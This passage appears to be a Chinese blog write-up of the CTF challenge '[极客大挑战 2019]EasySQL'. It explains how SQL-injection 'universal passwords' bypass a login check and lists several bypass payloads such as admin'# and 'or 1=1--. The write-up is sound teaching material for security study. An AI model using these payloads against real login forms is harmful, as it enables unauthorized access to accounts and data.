[极客大挑战 2019]EasySQL

一、

进来就是登录框,直接用万能密码看看先

登录

二、原理

万能密码利用的原理就是在后台登陆页面没有对用户输入的内容进行限制或过滤

你看到的登录界面放在SQL后台大概就是这样一个简单的SQL语句

select * from user where username='账号' and password='密码'

 把我们刚才填的账号密码放进去就是

select * from user where username='1' or 1 =1 # ' and password='123'

# 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样

select * from user where username='1' or 1 =1

SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功。而1=1是正确的,所以返回正确

由于参数可以用双引号包裹、单引号包裹、甚至不包裹,万能密码可以有三种形式:

数值型:admin #
单引号字符串型:admin'#
双引号字符串型:admin"#
这实际上是利用了注释 # 的特性,由于 - - 也是SQL的注释,万能密码又多了三种形式

SQL的语法格式规定--和后面的注释内容必须间隔一个空格。:

数值型:admin-- a
单引号字符串型:admin'-- 
双引号字符串型: admin"-- 

本题也可以这样填

还有一些其他万能密码

admin'--
admin' or ''=''--
admin' or 1=1--
'or 1=1--
admin'or''='
'or'='or'
'or''='

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值